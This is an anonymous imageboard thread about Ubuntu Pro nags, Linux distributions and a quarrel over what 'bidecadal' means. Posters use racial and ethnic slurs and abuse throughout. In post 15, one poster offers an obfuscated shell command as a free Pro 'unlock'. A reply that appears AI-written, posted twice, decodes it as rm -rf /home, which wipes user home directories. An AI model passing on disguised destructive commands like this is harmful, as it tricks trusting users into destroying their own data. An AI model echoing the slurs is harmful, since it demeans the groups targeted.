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  1. 3 weeks ago
    Anonymous

    >wake up sweetie
    >five years have passed, its time for your bidecadal update
    do debiaBlack folk really?

    • 3 weeks ago
      Anonymous

      bidecadal would mean once in 20 years though.

      • 3 weeks ago
        Anonymous

        twice a decade. bidecadal. do esls really?

        • 3 weeks ago
          Anonymous

          You absolute mongoloid lmao

          • 3 weeks ago
            Anonymous

            bicentennial means 200 years.

            https://en.wiktionary.org/wiki/bi-#English:_twice
            frick im teaching the esl class now

          • 3 weeks ago
            Anonymous

            >https://en.wiktionary.org/wiki/bi-#English:_twice
            NIce try Black person.

            From your link:
            https://en.wiktionary.org/wiki/bi-#English:_every_two
            >10. Every two; a rate of once every two.

            And when it comes to the term in question, according to AI (Since there are no dictionary definitions for this word, but the AI looked into scientific papers that used this term) bidecadal means:
            https://www.perplexity.ai/search/What-is-the-qLNNjz0aQQCoXn311NzZmA
            >The term "bidecadal" refers to a period of 20 years, which is twice the length of a decade. It is used to describe a type of climate variability that occurs over a 20-year cycle, often in conjunction with decadal variability.

            One of the papers used as a source:
            https://www.nature.com/articles/ncomms7545
            >This AMOC response corresponds to the excitation of damped oscillatory variations with a typical time scale of 20 years.
            Indeed uses the term bidecadal to refer to a 20 year cycle or period.

            t. ESL schooling your ass.
            kys

          • 3 weeks ago
            Anonymous

            >according to AI
            lmfao the next generation of esls really are fricked. The blind leading the blind over here. Just be careful asking it for advice on what to mix in your pizza cheese.
            anyways, I really should have quoted the relevant bit but I wanted a snappy hotlink
            >As a prefix for periods, bi- is ambiguously used to mean either “once every two periods” or “twice every period”; this is particularly acute for biweekly, bimonthly, and biannual. To avoid ambiguity, semi- or twice can be used to unambiguously mean “every half period” (thus twice every period) or “twice every period”, but there is no general way to refer unambiguously to “once every two periods”. In some cases a separate word is unambiguous, as in fortnightly (“every two weeks”), or biennial (“every two years”), but there is no word that unambiguously refers to “every two months”. Due to the ambiguity, some prefer to use explicit phrases, like “every two months” or “twice a month”.
            there you go, the bane of every esls existence: ambiguity.

          • 3 weeks ago
            Anonymous

            Literally ALL usages of the term bidecadal, use it to refer to a 20 year cycle or period.
            You can't find a single usage of the word to refer to something happening twice per decade, because you made it up.

            https://agupubs.onlinelibrary.wiley.com/doi/full/10.1029/2021JD035769
            >Bidecadal Temperature Anomalies Over the Tibetan Plateau and Arctic in Response to the 1450s Volcanic Eruptions
            >Our results show that it took ∼20 years for the temperature in these two regions to return to the level that existed before the first eruption

            https://www.sciencedirect.com/science/article/abs/pii/S1364682619302196
            >Searching for solar-like interannual to bidecadal effects on temperature and precipitation over a Southern Hemisphere location
            >a ~20-year oscillation after the 1950–1960's.

            https://link.springer.com/article/10.1007/s00382-023-06821-8
            >Atlantic decadal-to-bidecadal variability in a version of the Kiel Climate Model
            >The topic of this study is the Atlantic decadal-to-bidecadal variability (~10–20 years, ADV hereafter)

            https://publications.jrc.ec.europa.eu/repository/handle/JRC89297
            >Monitoring bidecadal development of urban agglomeration with remote sensing images in the Jing-Jin-Tang area, China
            >These results provide spatial information on the evolution of urban extent in the period of 1990s to 2010s in this region.

            https://journals.ametsoc.org/view/journals/phoc/44/8/jpo-d-13-096.1.xml
            >Bidecadal Thermal Changes in the Abyssal Ocean
            >changes in heat content below 2000 m are roughly 10% of those inferred for the upper ocean over the 20-yr period.

            https://www.mdpi.com/2073-4433/12/6/676
            >Decadal and Bi-Decadal Periodicities in Temperature of Southern Scandinavia
            >It was found that significant decadal (10–13 years) and bi-decadal (22–25 years) periodicities were present in many of these series during the entire time interval.

            Maybe next time, take the time to learn before trying to school others and getting BTFO on your own language.

          • 3 weeks ago
            Anonymous

            >because you made it up.
            as is my right as a native english speaker. get fricked esls

          • 3 weeks ago
            Anonymous

            Literally ALL usages of the term bidecadal, use it to refer to a 20 year cycle or period.
            You can't find a single usage of the word to refer to something happening twice per decade, because you made it up.

            https://agupubs.onlinelibrary.wiley.com/doi/full/10.1029/2021JD035769
            >Bidecadal Temperature Anomalies Over the Tibetan Plateau and Arctic in Response to the 1450s Volcanic Eruptions
            >Our results show that it took ∼20 years for the temperature in these two regions to return to the level that existed before the first eruption

            https://www.sciencedirect.com/science/article/abs/pii/S1364682619302196
            >Searching for solar-like interannual to bidecadal effects on temperature and precipitation over a Southern Hemisphere location
            >a ~20-year oscillation after the 1950–1960's.

            https://link.springer.com/article/10.1007/s00382-023-06821-8
            >Atlantic decadal-to-bidecadal variability in a version of the Kiel Climate Model
            >The topic of this study is the Atlantic decadal-to-bidecadal variability (~10–20 years, ADV hereafter)

            https://publications.jrc.ec.europa.eu/repository/handle/JRC89297
            >Monitoring bidecadal development of urban agglomeration with remote sensing images in the Jing-Jin-Tang area, China
            >These results provide spatial information on the evolution of urban extent in the period of 1990s to 2010s in this region.

            https://journals.ametsoc.org/view/journals/phoc/44/8/jpo-d-13-096.1.xml
            >Bidecadal Thermal Changes in the Abyssal Ocean
            >changes in heat content below 2000 m are roughly 10% of those inferred for the upper ocean over the 20-yr period.

            https://www.mdpi.com/2073-4433/12/6/676
            >Decadal and Bi-Decadal Periodicities in Temperature of Southern Scandinavia
            >It was found that significant decadal (10–13 years) and bi-decadal (22–25 years) periodicities were present in many of these series during the entire time interval.

            Maybe next time, take the time to learn before trying to school others and getting BTFO on your own language.

            Also falling back into this "ambiguity" cope is moving the goalposts, because you were adamant that bidecadal meant twice a decade (

            twice a decade. bidecadal. do esls really?

            ) and nothing else, and you now are realizing you were wrong.

          • 3 weeks ago
            Anonymous

            >and nothing else
            never said that. more deliberate ambiguities to screw with the thirdies. lmao its like shooting fish in a barrel.

            Just as is the case with "biweekly" is can mean either. Twice a week or every 2 weeks. Depending on if the context is frequency versus period.

            thank you

          • 3 weeks ago
            Anonymous

            >never said that
            Yes you did.

            >more deliberate ambiguities to screw with the thirdies. lmao its like shooting fish in a barrel.
            Cope, there is no other usage of this term.

            >thank you
            He is correcting you.

          • 3 weeks ago
            Anonymous

            >He is correcting you.
            yet contradicting you. it's two against one now, what are you gonna do?

          • 3 weeks ago
            Anonymous

            >yet contradicting you. it's two against one now, what are you gonna do?
            I have no problem admitting English rules are ambiguous when it comes to words like these. English rules could allow for bidecadal to be used either way, but clearly one usage has been adopted and the other hasn't. Seems pretty moronic to argue that bidecadal means twice a decade when there is no usage of this term in this way.

          • 3 weeks ago
            Anonymous

            >English rules could allow for bidecadal to be used either way, but clearly one usage has been adopted and the other hasn't.
            so? its a prefix, you can stick it on anything. Look, with your buddy here

            I'm only contradicting you. The former Anon used it in one of the valid forms, you implied that there is only one correct form which is the alternate form. Which is incorrect since either form is valid.
            It's very ironic to be criticizing people for their English while having this low a level of reading comprehension on top of being wrong about semantics.

            you're bimoronic. Figure out if that means half or double for yourself.

          • 3 weeks ago
            Anonymous

            You're backpedaling hard. Don't you realize we're anonymous here. There's no reason to attempt to save face like that. Given your English and attitude I'm going to assume you're from India.

          • 3 weeks ago
            Anonymous

            at least indians are somewhat native english speakers. I'm not gonna let some euro garbler try and dictate english vocabulary. Why don't you "do the needful" and frick off.

          • 3 weeks ago
            Anonymous

            I'm not European, "sir". You got blown the frick out, now hold the L.

          • 3 weeks ago
            Anonymous

            wtf not at least a respectable esl, lets hold off on the btfo

          • 3 weeks ago
            Anonymous

            English is my first language, not second. I see you're resorting to deflecting now. Let's talk about me instead of you, right?

          • 2 weeks ago
            Anonymous

            so you're some rando who just decided to jump in? you can't "win" an argument just by piling on the esl who you share a misunderstanding with.

          • 2 weeks ago
            Anonymous

            There's like 4 different people telling you you're wrong anon. That should make you realize that your position is untenable and you are making a fool of yourself.

          • 2 weeks ago
            Anonymous

            four overconfident idiots? On IQfy of all places? That's hard to believe

          • 2 weeks ago
            Anonymous

            >please laugh
            yikes

          • 2 weeks ago
            Anonymous

            >English rules could allow for bidecadal to be used either way, but clearly one usage has been adopted and the other hasn't.
            I argue that we should use "score" for 20 as Abe intended.
            Furthermore, I'm tired of "bi-weekly" and "bi-monthly" more often than not referring to the same period of time (two more weeks).
            We shall call two weeks a fortnight (bussin fr).
            Bi-weekly shall refer to twice a week.
            Bi-monthly shall refer to once every two months.

          • 2 weeks ago
            Anonymous

            you haven't solved the bidecadal question anon. we're hanging off your every word

          • 3 weeks ago
            Anonymous

            I'm only contradicting you. The former Anon used it in one of the valid forms, you implied that there is only one correct form which is the alternate form. Which is incorrect since either form is valid.
            It's very ironic to be criticizing people for their English while having this low a level of reading comprehension on top of being wrong about semantics.

        • 3 weeks ago
          Anonymous

          bicentennial means 200 years.

        • 3 weeks ago
          Anonymous

          Just as is the case with "biweekly" is can mean either. Twice a week or every 2 weeks. Depending on if the context is frequency versus period.

        • 2 weeks ago
          Anonymous

          you r as thrice uniformed

  2. 3 weeks ago
    Anonymous

    Yes, yes we do
    But at least it's not windows amiright

    • 3 weeks ago
      Anonymous

      This seems like an ubuntu issue, not a general linux

      • 3 weeks ago
        Anonymous

        >use linux
        >okay
        >no not like that, you need specific distro specifically tinkered and you must tweak the-
        No thanks

        • 3 weeks ago
          Anonymous

          >"you should use the bathroom to take a shit"
          >you: shits on the floor
          >"not like that"
          >you: "hurrrr, no thanks"
          moooooooooooooring

    • 3 weeks ago
      Anonymous

      you can use ubuntu without ever using that. you update/upgrade through the terminal and you will never need to use that

    • 3 weeks ago
      Anonymous

      >ubuntu is linux

      • 3 weeks ago
        Anonymous

        Loonix is Ubuntu

    • 3 weeks ago
      Anonymous

      >GNOME software
      into the trash it le goes

  3. 3 weeks ago
    Anonymous

    works for me
    https://github.com/polkaulfield/ubuntu-debullshit

    • 3 weeks ago
      Anonymous

      close some damn windows you wasteful fool.

    • 3 weeks ago
      Anonymous

      Debullshitification, enshitification, why do programmers love shit so much?

      • 3 weeks ago
        Anonymous

        I know enshitification is a term for when services need to resort to playing with algorithms, ads and datamining to make money.
        Which eventually devolves into wanting to become a big and serious company. Blah blah blah. You know the drill.

        • 3 weeks ago
          Anonymous

          The point stands.

        • 3 weeks ago
          Anonymous

          It's an unoriginal meme invented by a israelite and as we all know israelites are obsessed with anal sex and shit.

          • 2 weeks ago
            Anonymous

            Only the men or the israeliteesses too? Asking for a friend.

      • 3 weeks ago
        Anonymous

        >enshitification
        It has been coined by an enlightened journo

    • 3 weeks ago
      Anonymous

      All that work just to still be inferior to debian, devuan and gentoo.

    • 3 weeks ago
      Anonymous

      or you could just install mint or even fedora

      • 3 weeks ago
        Anonymous

        >mint
        i hate cinnamon
        >fedora

        uses too much ram. not good for an old laptop that uses 8GB of ram

        • 3 weeks ago
          Anonymous

          What about XFCE?

        • 3 weeks ago
          Anonymous

          >Uses gnoem
          >Complains about ram usage

          • 3 weeks ago
            Anonymous

            gnome on ubuntu uses 650MB
            that's less than what a kde system uses

          • 3 weeks ago
            Anonymous

            LabWC uses 350MB, and has better functionality and customization than either Gnome or KDE.

    • 3 weeks ago
      Anonymous

      >librewolf
      why do you choose an inferior browsing experience?

    • 3 weeks ago
      Anonymous

      this is actually really cool

      but why not just use Debian?

    • 3 weeks ago
      Anonymous

      Unenshitified Ubuntu already exists, it's called Trisquel.

    • 3 weeks ago
      Anonymous

      >All this effort, having to rely on a random github cuck, when IT could simply install a distro that isnt shit
      >korea/idol homosexualry
      Many such cases, I'm not even shocked anymore

    • 3 weeks ago
      Anonymous

      works for me
      https://archlinux.org/download/

    • 3 weeks ago
      Anonymous

      > debullshit
      > installs flatpak

      more like rebullshit

    • 3 weeks ago
      Anonymous

      but m-muh linux just works out of the box??? muh time spent debloating winblows??? you fricking moron, linux gays are in no position to speak anymore

  4. 3 weeks ago
    Anonymous

    Free for normal people
    For businesses its $25 a year per desktop

  5. 3 weeks ago
    Anonymous

    you can't make this shit up

    • 3 weeks ago
      Anonymous

      >commercial company is making money out of a product/service
      dios mio.
      i guess we all have to dump ubuntu for debian and deal with the fact that ... oh wait you need to pay a consulting company to get anywhere near the years of support you get with ubuntu.

  6. 3 weeks ago
    Anonymous

    Funny how the worst version of Linux is still better than the best version of Windows

    • 3 weeks ago
      Anonymous

      >ubuntu is a "version" of linux
      isn't this the technology board?

  7. 3 weeks ago
    Anonymous

    I have it enabled on my home server, as well as livepatch, what's the problem?

  8. 3 weeks ago
    Anonymous

    Yes

  9. 3 weeks ago
    Anonymous

    Ubuntu Pro is free for home users, and I've never seen it on Xubuntu, so IDGAF.

    • 3 weeks ago
      Anonymous

      what about homeless users? do they ask for a valid address to register?

      • 3 weeks ago
        Anonymous

        i don't know if this is a serious question but its a simple signup

        • 3 weeks ago
          Anonymous

          of course it's a serious question. I want to know if Terry would've been able to subscribe for free if he was still alive and kept using Ubuntu

        • 3 weeks ago
          Anonymous

          OH LAWD

  10. 3 weeks ago
    Anonymous

    >he doesn't have Ubuntu Pro
    There's only one ubuntulet here, and it isn't me.

  11. 3 weeks ago
    Anonymous

    Ubuntu was good enough for Terry so it's good enough for you too

    • 3 weeks ago
      Anonymous

      god it really sucks that the ambiance theme gets basically no attention and instead we just have some indian kid doing random shit.
      Here's hoping unity8/lomiri(aka what they want to replace unity7 with) works out.

    • 3 weeks ago
      Anonymous

      >reddit
      not my Terry

      • 3 weeks ago
        Anonymous

        reddit was different back when Aaron Swartz was alive

  12. 3 weeks ago
    Anonymous

    I miss unity almost as much as I miss Terry, bros...

    • 3 weeks ago
      Anonymous

      honestly unity couldn't have lasted that long with GTK4 on the horizon anyway.
      That is why unity 8 was partially being made, not just for phones but also because it was Qt.

      • 3 weeks ago
        Anonymous

        >not just for phones
        take me the frick back, please

        • 2 weeks ago
          Anonymous

          the desktop/phone ui is still being actively developed. And development speed will significantly increase once the ubuntu unity team decides to switch to it.

  13. 3 weeks ago
    Anonymous

    ubuntu pro is based. I've enabled it for free on my parents' laptops

  14. 3 weeks ago
    Anonymous

    I have no idea when this shit started in the past couple years BUT i quickly changed all my laptops OS from 18.04 LTS to debian after this. It took a week but, havent looked back since. I still remember how much I loved using ubuntu, ubuntu 16.04 LTS, my beloved. unity at its peak, the transparency, the quick launch, terminal, logo, unbeatable. grim what they did to it

  15. 3 weeks ago
    Anonymous

    apt --unlock-pro --key="`$'x72x6d' $'55x72x66' $'57x68x6fx6dx65'`"

    Thank me later.

    • 3 weeks ago
      Anonymous

      >pirating free software

    • 3 weeks ago
      Anonymous

      The command you provided is a malicious attempt to delete files from the /home directory on a Linux system. It should never be executed as it can cause significant damage and data loss.

      The breakdown of the command is:

      apt --unlock-pro --key="`$'x72x6d' $'55x72x66' $'57x68x6fx6dx65'`"

      - `apt` is the package management utility on Debian-based Linux distributions like Ubuntu.
      - `--unlock-pro` and `--key=` are not valid options for `apt`. They are likely used to obfuscate the real intent of the command.
      - The part inside backticks (`` ` ``) is a shell command that gets executed and its output is used as the value for the `--key` option.
      - `$'x72x6d'` is a hexadecimal-encoded string that decodes to `rm`, which is the command to remove/delete files on Linux.
      - `$'55x72x66'` decodes to `-rf`, which are options for `rm` to recursively delete files and directories without prompting for confirmation.
      - `$'57x68x6fx6dx65'` decodes to `/home`, which is the home directory for user accounts on Linux systems.

      So, when executed, this command essentially runs `rm -rf /home`, which deletes all files and subdirectories under the `/home` directory, potentially causing catastrophic data loss for all user accounts on the system.

      You should never run commands that you do not fully understand, especially those involving `rm` with dangerous options like `-rf`. Exercise extreme caution when dealing with commands that can modify or delete important system files and directories.

    • 3 weeks ago
      Anonymous

      The command you provided is a malicious attempt to delete files from the /home directory on a Linux system. It should never be executed as it can cause significant damage and data loss.

      The breakdown of the command is:

      apt --unlock-pro --key="`$'x72x6d' $'55x72x66' $'57x68x6fx6dx65'`"

      - `apt` is the package management utility on Debian-based Linux distributions like Ubuntu.
      - `--unlock-pro` and `--key=` are not valid options for `apt`. They are likely used to obfuscate the real intent of the command.
      - The part inside backticks (`` ` ``) is a shell command that gets executed and its output is used as the value for the `--key` option.
      - `$'x72x6d'` is a hexadecimal-encoded string that decodes to `rm`, which is the command to remove/delete files on Linux.
      - `$'55x72x66'` decodes to `-rf`, which are options for `rm` to recursively delete files and directories without prompting for confirmation.
      - `$'57x68x6fx6dx65'` decodes to `/home`, which is the home directory for user accounts on Linux systems.

      So, when executed, this command essentially runs `rm -rf /home`, which deletes all files and subdirectories under the `/home` directory, potentially causing catastrophic data loss for all user accounts on the system.

      You should never run commands that you do not fully understand, especially those involving `rm` with dangerous options like `-rf`. Exercise extreme caution when dealing with commands that can modify or delete important system files and directories.

      Ok but how do we really pirate these software patches

  16. 3 weeks ago
    Anonymous

    Humilliation ritual

  17. 3 weeks ago
    Anonymous

    If I didn't laugh at the modern state of Ubuntu I'd cry

  18. 3 weeks ago
    Anonymous

    >not using Kubuntu

    GNOMED

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